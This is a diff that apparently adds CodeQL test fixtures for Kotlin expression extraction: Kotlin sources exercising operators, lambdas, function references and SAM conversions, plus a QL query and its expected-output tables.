+| samConversion.kt:46:13:46:44 | ...=... | samConversion.kt:46:13:46:44 |  | AssignExpr |
+| samConversion.kt:46:13:46:44 | <fn> | samConversion.kt:46:13:46:44 |  | VarAccess |
+| samConversion.kt:46:13:46:44 | <fn> | samConversion.kt:46:13:46:44 | fn | VarAccess |
+| samConversion.kt:46:13:46:44 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:13:46:44 | Function1<Integer,Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:13:46:44 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:13:46:44 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:13:46:44 | Integer | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:13:46:44 | Integer | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:13:46:44 | SomePredicate<Integer> | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:13:46:44 | SomePredicate<Integer> | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:13:46:44 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:13:46:44 | i | samConversion.kt:46:13:46:44 | fn | VarAccess |
+| samConversion.kt:46:13:46:44 | invoke(...) | samConversion.kt:46:13:46:44 | fn | MethodAccess |
+| samConversion.kt:46:13:46:44 | new (...) | samConversion.kt:40:1:47:1 | fn | ClassInstanceExpr |
+| samConversion.kt:46:13:46:44 | this | samConversion.kt:46:13:46:44 |  | ThisAccess |
+| samConversion.kt:46:13:46:44 | this.<fn> | samConversion.kt:46:13:46:44 |  | VarAccess |
+| samConversion.kt:46:32:46:44 | ...->... | samConversion.kt:40:1:47:1 | fn | LambdaExpr |
+| samConversion.kt:46:32:46:44 | Boolean | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:32:46:44 | Function1<Integer,Boolean> | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:32:46:44 | Integer | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:46:32:46:44 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:34:46:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:46:39:46:42 | true | samConversion.kt:46:32:46:44 | invoke | BooleanLiteral |
+| samConversion.kt:50:5:50:25 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:50:12:50:15 | T | file://:0:0:0:0 | <none> | TypeAccess |
+| whenExpr.kt:1:1:9:1 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| whenExpr.kt:1:14:1:19 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| whenExpr.kt:2:10:8:3 | <Stmt> | whenExpr.kt:1:1:9:1 | testWhen | StmtExpr |
+| whenExpr.kt:2:10:8:3 | when ... | whenExpr.kt:1:1:9:1 | testWhen | WhenExpr |
+| whenExpr.kt:2:15:2:15 | i | whenExpr.kt:1:1:9:1 | testWhen | VarAccess |
+| whenExpr.kt:2:15:2:15 | tmp0_subject | whenExpr.kt:1:1:9:1 | testWhen | LocalVariableDeclExpr |
+| whenExpr.kt:3:5:3:5 | 0 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:3:5:3:5 | ... (value equals) ... | whenExpr.kt:1:1:9:1 | testWhen | ValueEQExpr |
+| whenExpr.kt:3:5:3:5 | tmp0_subject | whenExpr.kt:1:1:9:1 | testWhen | VarAccess |
+| whenExpr.kt:3:10:3:10 | 1 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:4:5:4:5 | 1 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:4:5:4:5 | ... (value equals) ... | whenExpr.kt:1:1:9:1 | testWhen | ValueEQExpr |
+| whenExpr.kt:4:5:4:5 | tmp0_subject | whenExpr.kt:1:1:9:1 | testWhen | VarAccess |
+| whenExpr.kt:4:10:4:10 | 2 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:5:5:5:5 | 2 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:5:5:5:5 | ... (value equals) ... | whenExpr.kt:1:1:9:1 | testWhen | ValueEQExpr |
+| whenExpr.kt:5:5:5:5 | tmp0_subject | whenExpr.kt:1:1:9:1 | testWhen | VarAccess |
+| whenExpr.kt:5:17:5:17 | 3 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:6:5:6:5 | 3 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:6:5:6:5 | ... (value equals) ... | whenExpr.kt:1:1:9:1 | testWhen | ValueEQExpr |
+| whenExpr.kt:6:5:6:5 | tmp0_subject | whenExpr.kt:1:1:9:1 | testWhen | VarAccess |
+| whenExpr.kt:6:16:6:44 | Exception | whenExpr.kt:1:1:9:1 | testWhen | TypeAccess |
+| whenExpr.kt:6:16:6:44 | new Exception(...) | whenExpr.kt:1:1:9:1 | testWhen | ClassInstanceExpr |
+| whenExpr.kt:6:27:6:42 | No threes please | whenExpr.kt:1:1:9:1 | testWhen | StringLiteral |
+| whenExpr.kt:7:13:7:15 | 999 | whenExpr.kt:1:1:9:1 | testWhen | IntegerLiteral |
+| whenExpr.kt:7:13:7:15 | true | whenExpr.kt:1:1:9:1 | testWhen | BooleanLiteral |
diff --git a/java/ql/test/kotlin/library-tests/exprs/exprs.kt b/java/ql/test/kotlin/library-tests/exprs/exprs.kt
new file mode 100644
index 00000000000..85a550ba1ee
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/exprs.kt
@@ -0,0 +1,270 @@
+import java.awt.Polygon
+import java.awt.Rectangle
+
+fun topLevelMethod(x: Int, y: Int,
+                   byx: Byte, byy: Byte,
+                   sx: Short, sy: Short,
+                   lx: Long, ly: Long,
+                   dx: Double, dy: Double,
+                   fx: Float, fy: Float,
+                   ): Int {
+    val i1 = 1
+    val i2 = x + y
+    val i3 = x - y
+    val i4 = x / y
+    val i5 = x % y
+    val i6 = x shl y
+    val i7 = x shr y
+    val i8 = x ushr y
+    val i9 = x and y
+    val i10 = x or y
+    val i11 = x xor y
+    val i12 = x.inv()
+    val i13 = x == y
+    val i14 = x != y
+    val i15 = x < y
+    val i16 = x <= y
+    val i17 = x > y
+    val i18 = x >= y
+    val i19 = x === y
+    val i20 = x !== y
+    val i21 = x in x .. y
+    val i22 = x !in x .. y
+
+    val by1 = 1.0
+    val by2 = byx + byy
+    val by3 = byx - byy
+    val by4 = byx / byy
+    val by5 = byx % byy
+    val by6 = byx == byy
+    val by7 = byx != byy
+    val by8 = byx < byy
+    val by9 = byx <= byy
+    val by10 = byx > byy
+    val by11 = byx >= byy
+    val by12 = byx === byy
+    val by13 = byx !== byy
+
+    val s1 = 1.0
+    val s2 = sx + sy
+    val s3 = sx - sy
+    val s4 = sx / sy
+    val s5 = sx % sy
+    val s6 = sx == sy
+    val s7 = sx != sy
+    val s8 = sx < sy
+    val s9 = sx <= sy
+    val s10 = sx > sy
+    val s11 = sx >= sy
+    val s12 = sx === sy
+    val s13 = sx !== sy
+
+    val l1 = 1.0
+    val l2 = lx + ly
+    val l3 = lx - ly
+    val l4 = lx / ly
+    val l5 = lx % ly
+    val l6 = lx shl y
+    val l7 = lx shr y
+    val l8 = lx ushr y
+    val l9 = lx and ly
+    val l10 = lx or ly
+    val l11 = lx xor ly
+    val l12 = lx.inv()
+    val l13 = lx == ly
+    val l14 = lx != ly
+    val l15 = lx < ly
+    val l16 = lx <= ly
+    val l17 = lx > ly
+    val l18 = lx >= ly
+    val l19 = lx === ly
+    val l20 = lx !== ly
+
+    val d1 = 1.0
+    val d2 = dx + dy
+    val d3 = dx - dy
+    val d4 = dx / dy
+    val d5 = dx % dy
+    val d6 = dx == dy
+    val d7 = dx != dy
+    val d8 = dx < dy
+    val d9 = dx <= dy
+    val d10 = dx > dy
+    val d11 = dx >= dy
+    val d12 = dx === dy
+    val d13 = dx !== dy
+
+    val f1 = 1.0
+    val f2 = fx + fy
+    val f3 = fx - fy
+    val f4 = fx / fy
+    val f5 = fx % fy
+    val f6 = fx == fy
+    val f7 = fx != fy
+    val f8 = fx < fy
+    val f9 = fx <= fy
+    val f10 = fx > fy
+    val f11 = fx >= fy
+    val f12 = fx === fy
+    val f13 = fx !== fy
+
+    val b1 = true
+    val b2 = false
+    val b3 = b1 && b2
+    val b4 = b1 || b2
+    val b5 = !b1
+
+    val c = 'x'
+    val str = "string lit"
+    val strWithQuote = "string \" lit"
+    val b6 = i1 is Int
+    val b7 = i1 !is Int
+    val b8 = b7 as Boolean
+    val str1: String = "string lit"
+    val str2: String? = "string lit"
+    val str3: String? = null
+    val str4: String = "foo $str1 bar $str2 baz"
+    val str5: String = "foo ${str1 + str2} bar ${str2 + str1} baz"
+    val str6 = str1 + str2
+
+    var variable = 10
+    while (variable > 0) {
+        variable--
+    }
+
+    return 123 + 456
+}
+
+fun getClass() {
+    val d = true::class
+}
+
+class C(val n: Int) {
+    fun foo(): C { return C(42) }
+}
+
+open class Root {}
+class Subclass1: Root() {}
+class Subclass2: Root() {}
+
+fun typeTests(x: Root, y: Subclass1) {
+    if(x is Subclass1) {
+        val x1: Subclass1 = x
+    }
+    val y1: Subclass1 = if (x is Subclass1) { x } else { y }
+    var q = 1
+    if (x is Subclass1) { q = 2 } else { q = 3 }
+}
+
+fun foo(p: Polygon) {
+    val r = p.getBounds()
+    if(r != null) {
+        val r2: Rectangle = r
+        val height = r2.height
+        r2.height = 3
+    }
+}
+
+enum class Direction {
+    NORTH, SOUTH, WEST, EAST
+}
+
+enum class Color(val rgb: Int) {
+    RED(0xFF0000),
+    GREEN(0x00FF00),
+    BLUE(0x0000FF)
+}
+
+fun enums() {
+    val south = Direction.SOUTH
+    val green = Color.GREEN
+}
+
+interface Interface1 {}
+
+class Class1 {
+    val a1 = 1
+    private fun getObject() : Any {
+        val a2 = 2
+        return object : Interface1 {
+            val a3: String = (a1 + a2).toString()
+        }
+    }
+}
+
+fun notNullAssertion(x: Any?) {
+    val y: Any = x!!
+}
+
+class Class2 {
+    fun x(aa: Any?, s: String?) {
+
+        val a = aa.toString()
+        val b0  = s.plus(5)
+        val b1  = s + 5
+        val b2  = s!!.plus(5)
+        val b3  = s!! + 5
+        val c0 = enumValues<Color>()
+        val c1 = Color.values()
+        val d0 = enumValueOf<Color>("GREEN")
+        val d1 = Color.valueOf("GREEN")
+    }
+}
+
+fun todo() {
+    TODO()
+}
+
+class SomeClass1 {}
+fun fnClassRef() {
+    val x = SomeClass1::class
+}
+
+fun equalityTests(notNullPrimitive: Int, nullablePrimitive: Int?, notNullReftype: String, nullableReftype: String?) {
+  val b1 = notNullPrimitive == notNullPrimitive
+  val b2 = notNullPrimitive == nullablePrimitive
+  val b3 = nullablePrimitive == nullablePrimitive
+  val b4 = notNullReftype == notNullReftype
+  val b5 = notNullReftype == nullableReftype
+  val b6 = nullableReftype == nullableReftype
+  val b7 = notNullPrimitive != notNullPrimitive
+  val b8 = notNullPrimitive != nullablePrimitive
+  val b9 = nullablePrimitive != nullablePrimitive
+  val b10 = notNullReftype != notNullReftype
+  val b11 = notNullReftype != nullableReftype
+  val b12 = nullableReftype != nullableReftype
+  val b13 = notNullPrimitive == null
+  val b14 = nullablePrimitive == null
+  val b15 = notNullReftype == null
+  val b16 = nullableReftype == null
+  val b17 = notNullPrimitive != null
+  val b18 = nullablePrimitive != null
+  val b19 = notNullReftype != null
+  val b20 = nullableReftype != null
+}
+
+fun mulOperators(x: Int, y: Int,
+                 byx: Byte, byy: Byte,
+                 sx: Short, sy: Short,
+                 lx: Long, ly: Long,
+                 dx: Double, dy: Double,
+                 fx: Float, fy: Float) {
+
+  val i = x * y
+  val b = byx * byy
+  val l = lx * ly
+  val d = dx * dy
+  val f = fx * fy
+
+}
+
+fun inPlaceOperators() {
+
+  var updated = 0
+  updated += 1
+  updated -= 1
+  updated *= 1
+  updated /= 1
+  updated %= 1
+
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/exprs.ql b/java/ql/test/kotlin/library-tests/exprs/exprs.ql
new file mode 100644
index 00000000000..89eb09fc368
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/exprs.ql
@@ -0,0 +1,38 @@
+import java
+
+newtype TMaybeElement =
+  TElement(Element e) or
+  TNoElement()
+
+class MaybeElement extends TMaybeElement {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeElement extends MaybeElement {
+  Element e;
+
+  YesMaybeElement() { this = TElement(e) }
+
+  override string toString() { result = e.toString() }
+
+  override Location getLocation() { result = e.getLocation() }
+}
+
+class NoMaybeElement extends MaybeElement {
+  NoMaybeElement() { this = TNoElement() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeElement enclosingCallable(Expr e) {
+  if exists(e.getEnclosingCallable())
+  then result = TElement(e.getEnclosingCallable())
+  else result = TNoElement()
+}
+
+from Expr e
+select e, enclosingCallable(e), e.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/exprs/funcExprs.expected b/java/ql/test/kotlin/library-tests/exprs/funcExprs.expected
new file mode 100644
index 00000000000..085483b8219
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/funcExprs.expected
@@ -0,0 +1,91 @@
+lambdaExpr
+| delegatedProperties.kt:6:32:9:9 | ...->... | stmt body | delegatedProperties.kt:6:32:9:9 | invoke | invoke() | delegatedProperties.kt:6:32:9:9 | new Function0<Integer>(...) { ... } |
+| funcExprs.kt:22:26:22:33 | ...->... | stmt body | funcExprs.kt:22:26:22:33 | invoke | invoke() | funcExprs.kt:22:26:22:33 | new Function0<Integer>(...) { ... } |
+| funcExprs.kt:23:26:23:33 | ...->... | stmt body | funcExprs.kt:23:26:23:33 | invoke | invoke() | funcExprs.kt:23:26:23:33 | new Function0<Object>(...) { ... } |
+| funcExprs.kt:24:26:24:33 | ...->... | stmt body | funcExprs.kt:24:26:24:33 | invoke | invoke() | funcExprs.kt:24:26:24:33 | new Function0<Object>(...) { ... } |
+| funcExprs.kt:25:29:25:38 | ...->... | stmt body | funcExprs.kt:25:29:25:38 | invoke | invoke(int) | funcExprs.kt:25:29:25:38 | new Function1<Integer,Integer>(...) { ... } |
+| funcExprs.kt:26:29:26:34 | ...->... | stmt body | funcExprs.kt:26:29:26:34 | invoke | invoke(int) | funcExprs.kt:26:29:26:34 | new Function1<Integer,Integer>(...) { ... } |
+| funcExprs.kt:27:29:27:42 | ...->... | stmt body | funcExprs.kt:27:29:27:42 | invoke | invoke(int) | funcExprs.kt:27:29:27:42 | new Function1<Integer,Integer>(...) { ... } |
+| funcExprs.kt:29:29:29:37 | ...->... | stmt body | funcExprs.kt:29:29:29:37 | invoke | invoke(java.lang.Object) | funcExprs.kt:29:29:29:37 | new Function1<Object,Object>(...) { ... } |
+| funcExprs.kt:30:28:30:50 | ...->... | stmt body | funcExprs.kt:30:28:30:50 | invoke | invoke(int,int) | funcExprs.kt:30:28:30:50 | new Function2<Integer,Integer,Integer>(...) { ... } |
+| funcExprs.kt:31:28:31:40 | ...->... | stmt body | funcExprs.kt:31:28:31:40 | invoke | invoke(int,int) | funcExprs.kt:31:28:31:40 | new Function2<Integer,Integer,Integer>(...) { ... } |
+| funcExprs.kt:32:28:32:44 | ...->... | stmt body | funcExprs.kt:32:28:32:44 | invoke | invoke(int,int) | funcExprs.kt:32:28:32:44 | new Function2<Integer,Integer,Integer>(...) { ... } |
+| funcExprs.kt:33:28:33:51 | ...->... | stmt body | funcExprs.kt:33:28:33:51 | invoke | invoke(int) | funcExprs.kt:33:28:33:51 | new Function1<Integer,Function1<Integer,Double>>(...) { ... } |
+| funcExprs.kt:33:37:33:47 | ...->... | stmt body | funcExprs.kt:33:37:33:47 | invoke | invoke(int) | funcExprs.kt:33:37:33:47 | new Function1<Integer,Double>(...) { ... } |
+| funcExprs.kt:35:29:35:112 | ...->... | stmt body | funcExprs.kt:35:29:35:112 | invoke | invoke(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) | funcExprs.kt:35:29:35:112 | new Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>(...) { ... } |
+| funcExprs.kt:36:29:36:117 | ...->... | stmt body | funcExprs.kt:36:29:36:117 | invoke | invoke(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) | funcExprs.kt:36:29:36:117 | new FunctionN<String>(...) { ... } |
+| funcExprs.kt:75:12:75:22 | ...->... | stmt body | funcExprs.kt:75:12:75:22 | invoke | invoke(Class3.Generic) | funcExprs.kt:75:12:75:22 | new Function1<Generic<Generic<Integer>>,String>(...) { ... } |
+| samConversion.kt:2:31:2:45 | ...->... | stmt body | samConversion.kt:2:31:2:45 | invoke | invoke(int) | samConversion.kt:2:31:2:45 | new Function1<Integer,Boolean>(...) { ... } |
+| samConversion.kt:4:27:4:42 | ...->... | stmt body | samConversion.kt:4:27:4:42 | invoke | invoke(int,int) | samConversion.kt:4:27:4:42 | new Function2<Integer,Integer,Unit>(...) { ... } |
+| samConversion.kt:7:29:7:46 | ...->... | stmt body | samConversion.kt:7:29:7:46 | invoke | invoke(java.lang.String,int) | samConversion.kt:7:29:7:46 | new Function2<String,Integer,Boolean>(...) { ... } |
+| samConversion.kt:9:33:11:5 | ...->... | stmt body | samConversion.kt:9:33:11:5 | invoke | invoke(int) | samConversion.kt:9:33:11:5 | new Function1<Integer,Boolean>(...) { ... } |
+| samConversion.kt:11:12:13:5 | ...->... | stmt body | samConversion.kt:11:12:13:5 | invoke | invoke(int) | samConversion.kt:11:12:13:5 | new Function1<Integer,Boolean>(...) { ... } |
+| samConversion.kt:43:31:45:68 | ...->... | stmt body | samConversion.kt:43:31:45:68 | invoke | invoke(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) | samConversion.kt:43:31:45:68 | new FunctionN<Boolean>(...) { ... } |
+| samConversion.kt:46:32:46:44 | ...->... | stmt body | samConversion.kt:46:32:46:44 | invoke | invoke(int) | samConversion.kt:46:32:46:44 | new Function1<Integer,Boolean>(...) { ... } |
+memberRefExprs
+| funcExprs.kt:38:26:38:38 | ...::... | funcExprs.kt:38:26:38:38 | invoke | invoke() | funcExprs.kt:38:26:38:38 | new Function0<Integer>(...) { ... } |
+| funcExprs.kt:39:26:39:36 | ...::... | funcExprs.kt:39:26:39:36 | invoke | invoke() | funcExprs.kt:39:26:39:36 | new Function0<Integer>(...) { ... } |
+| funcExprs.kt:40:29:40:41 | ...::... | funcExprs.kt:40:29:40:41 | invoke | invoke(int) | funcExprs.kt:40:29:40:41 | new Function1<Integer,Integer>(...) { ... } |
+| funcExprs.kt:41:29:41:39 | ...::... | funcExprs.kt:41:29:41:39 | invoke | invoke(FuncRef,int) | funcExprs.kt:41:29:41:39 | new Function2<FuncRef,Integer,Integer>(...) { ... } |
+| funcExprs.kt:42:29:42:33 | ...::... | funcExprs.kt:42:29:42:33 | invoke | invoke(int) | funcExprs.kt:42:29:42:33 | new Function1<Integer,Integer>(...) { ... } |
+| funcExprs.kt:43:28:43:34 | ...::... | funcExprs.kt:43:28:43:34 | invoke | invoke(int,int) | funcExprs.kt:43:28:43:34 | new Function2<Integer,Integer,Integer>(...) { ... } |
+| funcExprs.kt:44:29:44:42 | ...::... | funcExprs.kt:44:29:44:42 | invoke | invoke(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) | funcExprs.kt:44:29:44:42 | new Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>(...) { ... } |
+| funcExprs.kt:45:29:45:42 | ...::... | funcExprs.kt:45:29:45:42 | invoke | invoke(java.lang.Object[]) | funcExprs.kt:45:29:45:42 | new FunctionN<String>(...) { ... } |
+| funcExprs.kt:46:30:46:41 | ...::... | funcExprs.kt:46:30:46:41 | invoke | invoke(java.lang.Object[]) | funcExprs.kt:46:30:46:41 | new FunctionN<String>(...) { ... } |
+| funcExprs.kt:49:26:49:32 | ...::... | funcExprs.kt:49:26:49:32 | invoke | invoke() | funcExprs.kt:49:26:49:32 | new Function0<Integer>(...) { ... } |
+| funcExprs.kt:51:8:51:16 | ...::... | funcExprs.kt:51:8:51:16 | invoke | invoke() | funcExprs.kt:51:8:51:16 | new Function0<FuncRef>(...) { ... } |
+| kFunctionInvoke.kt:8:44:8:47 | ...::... | kFunctionInvoke.kt:8:44:8:47 | invoke | invoke(java.lang.String) | kFunctionInvoke.kt:8:44:8:47 | new Function1<String,Unit>(...) { ... } |
+| samConversion.kt:5:27:5:31 | ...::... | samConversion.kt:5:27:5:31 | invoke | invoke(int,int) | samConversion.kt:5:27:5:31 | new Function2<Integer,Integer,Unit>(...) { ... } |
+| samConversion.kt:41:13:41:16 | ...::... | samConversion.kt:41:13:41:16 | invoke | invoke(java.lang.Object[]) | samConversion.kt:41:13:41:16 | new FunctionN<Boolean>(...) { ... } |
+modifiers
+| delegatedProperties.kt:6:32:9:9 | ...->... | delegatedProperties.kt:6:32:9:9 | invoke | override |
+| delegatedProperties.kt:6:32:9:9 | ...->... | delegatedProperties.kt:6:32:9:9 | invoke | public |
+| funcExprs.kt:22:26:22:33 | ...->... | funcExprs.kt:22:26:22:33 | invoke | override |
+| funcExprs.kt:22:26:22:33 | ...->... | funcExprs.kt:22:26:22:33 | invoke | public |
+| funcExprs.kt:23:26:23:33 | ...->... | funcExprs.kt:23:26:23:33 | invoke | override |
+| funcExprs.kt:23:26:23:33 | ...->... | funcExprs.kt:23:26:23:33 | invoke | public |
+| funcExprs.kt:24:26:24:33 | ...->... | funcExprs.kt:24:26:24:33 | invoke | override |
+| funcExprs.kt:24:26:24:33 | ...->... | funcExprs.kt:24:26:24:33 | invoke | public |
+| funcExprs.kt:25:29:25:38 | ...->... | funcExprs.kt:25:29:25:38 | invoke | override |
+| funcExprs.kt:25:29:25:38 | ...->... | funcExprs.kt:25:29:25:38 | invoke | public |
+| funcExprs.kt:26:29:26:34 | ...->... | funcExprs.kt:26:29:26:34 | invoke | override |
+| funcExprs.kt:26:29:26:34 | ...->... | funcExprs.kt:26:29:26:34 | invoke | public |
+| funcExprs.kt:27:29:27:42 | ...->... | funcExprs.kt:27:29:27:42 | invoke | override |
+| funcExprs.kt:27:29:27:42 | ...->... | funcExprs.kt:27:29:27:42 | invoke | public |
+| funcExprs.kt:29:29:29:37 | ...->... | funcExprs.kt:29:29:29:37 | invoke | override |
+| funcExprs.kt:29:29:29:37 | ...->... | funcExprs.kt:29:29:29:37 | invoke | public |
+| funcExprs.kt:30:28:30:50 | ...->... | funcExprs.kt:30:28:30:50 | invoke | override |
+| funcExprs.kt:30:28:30:50 | ...->... | funcExprs.kt:30:28:30:50 | invoke | public |
+| funcExprs.kt:31:28:31:40 | ...->... | funcExprs.kt:31:28:31:40 | invoke | override |
+| funcExprs.kt:31:28:31:40 | ...->... | funcExprs.kt:31:28:31:40 | invoke | public |
+| funcExprs.kt:32:28:32:44 | ...->... | funcExprs.kt:32:28:32:44 | invoke | override |
+| funcExprs.kt:32:28:32:44 | ...->... | funcExprs.kt:32:28:32:44 | invoke | public |
+| funcExprs.kt:33:28:33:51 | ...->... | funcExprs.kt:33:28:33:51 | invoke | override |
+| funcExprs.kt:33:28:33:51 | ...->... | funcExprs.kt:33:28:33:51 | invoke | public |
+| funcExprs.kt:33:37:33:47 | ...->... | funcExprs.kt:33:37:33:47 | invoke | override |
+| funcExprs.kt:33:37:33:47 | ...->... | funcExprs.kt:33:37:33:47 | invoke | public |
+| funcExprs.kt:35:29:35:112 | ...->... | funcExprs.kt:35:29:35:112 | invoke | override |
+| funcExprs.kt:35:29:35:112 | ...->... | funcExprs.kt:35:29:35:112 | invoke | public |
+| funcExprs.kt:36:29:36:117 | ...->... | funcExprs.kt:36:29:36:117 | invoke | override |
+| funcExprs.kt:36:29:36:117 | ...->... | funcExprs.kt:36:29:36:117 | invoke | public |
+| funcExprs.kt:36:29:36:117 | ...->... | funcExprs.kt:36:29:36:117 | invoke | public |
+| funcExprs.kt:75:12:75:22 | ...->... | funcExprs.kt:75:12:75:22 | invoke | override |
+| funcExprs.kt:75:12:75:22 | ...->... | funcExprs.kt:75:12:75:22 | invoke | public |
+| samConversion.kt:2:31:2:45 | ...->... | samConversion.kt:2:31:2:45 | invoke | override |
+| samConversion.kt:2:31:2:45 | ...->... | samConversion.kt:2:31:2:45 | invoke | public |
+| samConversion.kt:4:27:4:42 | ...->... | samConversion.kt:4:27:4:42 | invoke | override |
+| samConversion.kt:4:27:4:42 | ...->... | samConversion.kt:4:27:4:42 | invoke | public |
+| samConversion.kt:7:29:7:46 | ...->... | samConversion.kt:7:29:7:46 | invoke | override |
+| samConversion.kt:7:29:7:46 | ...->... | samConversion.kt:7:29:7:46 | invoke | public |
+| samConversion.kt:9:33:11:5 | ...->... | samConversion.kt:9:33:11:5 | invoke | override |
+| samConversion.kt:9:33:11:5 | ...->... | samConversion.kt:9:33:11:5 | invoke | public |
+| samConversion.kt:11:12:13:5 | ...->... | samConversion.kt:11:12:13:5 | invoke | override |
+| samConversion.kt:11:12:13:5 | ...->... | samConversion.kt:11:12:13:5 | invoke | public |
+| samConversion.kt:43:31:45:68 | ...->... | samConversion.kt:43:31:45:68 | invoke | override |
+| samConversion.kt:43:31:45:68 | ...->... | samConversion.kt:43:31:45:68 | invoke | public |
+| samConversion.kt:43:31:45:68 | ...->... | samConversion.kt:43:31:45:68 | invoke | public |
+| samConversion.kt:46:32:46:44 | ...->... | samConversion.kt:46:32:46:44 | invoke | override |
+| samConversion.kt:46:32:46:44 | ...->... | samConversion.kt:46:32:46:44 | invoke | public |
+nonOverrideInvoke
+| funcExprs.kt:36:29:36:117 | ...->... | funcExprs.kt:36:29:36:117 | invoke | 23 |
+| samConversion.kt:43:31:45:68 | ...->... | samConversion.kt:43:31:45:68 | invoke | 23 |
diff --git a/java/ql/test/kotlin/library-tests/exprs/funcExprs.kt b/java/ql/test/kotlin/library-tests/exprs/funcExprs.kt
new file mode 100644
index 00000000000..06a4f3f3280
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/funcExprs.kt
@@ -0,0 +1,80 @@
+fun functionExpression0a(f: () -> Int) { f() }
+fun functionExpression0b(f: () -> Any?) { f() }
+fun functionExpression0c(f: () -> Any) { f() }
+fun functionExpression1a(x: Int, f: (Int) -> Int) { f(x) }
+fun functionExpression1b(x: Int, f: (Any?) -> Any?) { f(x) }
+fun functionExpression1c(x: Int, f: (FuncRef, Int) -> Int) { f(FuncRef(), x) }
+fun functionExpression2(x: Int, f: (Int, Int) -> Int) { f(x, x) }
+fun functionExpression3(x: Int, f: Int.(Int) -> Int) { x.f(x) }
+fun functionExpression4(x: Int, f: (Int) -> ((Int) -> Double)) { f(x)(x) }
+
+fun functionExpression22(x: Int, f: (Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int) -> Unit) {
+    f(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)
+}
+fun functionExpression23(x: Int, f: (Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int) -> String) {
+    f(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)
+}
+fun functionExpression23c(x: Int, f: (FuncRef, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int) -> String) {
+    f(FuncRef(),x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)
+}
+
+fun call() {
+    functionExpression0a { -> 5 }
+    functionExpression0b { -> 5 }
+    functionExpression0c { -> 5 }
+    functionExpression1a(5) { a -> 5 }
+    functionExpression1a(5) { it }
+    functionExpression1a(5, fun(_:Int) = 5)
+    functionExpression1a(5, MyLambda())
+    functionExpression1b(5) { a -> a}
+    functionExpression2(5, fun(_: Int, _: Int) = 5)
+    functionExpression2(5) { _, _ -> 5 }
+    functionExpression3(5) { a -> this + a }
+    functionExpression4(5) { a -> ( { b -> 5.0} ) }
+
+    functionExpression22(5) {a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21 -> 5}
+    functionExpression23(5) {a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22 -> ""}
+
+    functionExpression0a(FuncRef()::f0)
+    functionExpression0a(FuncRef::f0)
+    functionExpression1a(5, FuncRef()::f1)
+    functionExpression1c(5, FuncRef::f1)
+    functionExpression1a(5, 3::f3)
+    functionExpression3(5, Int::f3)
+    functionExpression22(5, FuncRef()::f22)
+    functionExpression23(5, FuncRef()::f23)
+    functionExpression23c(5, FuncRef::f23)
+
+    fun local(): Int = 5
+    functionExpression0a(::local)
+
+    fn(::FuncRef)
+}
+
+class MyLambda: (Int) -> Int {
+    override operator fun invoke(x: Int): Int = 5
+}
+
+fun <T> fn(l: () -> T) {}
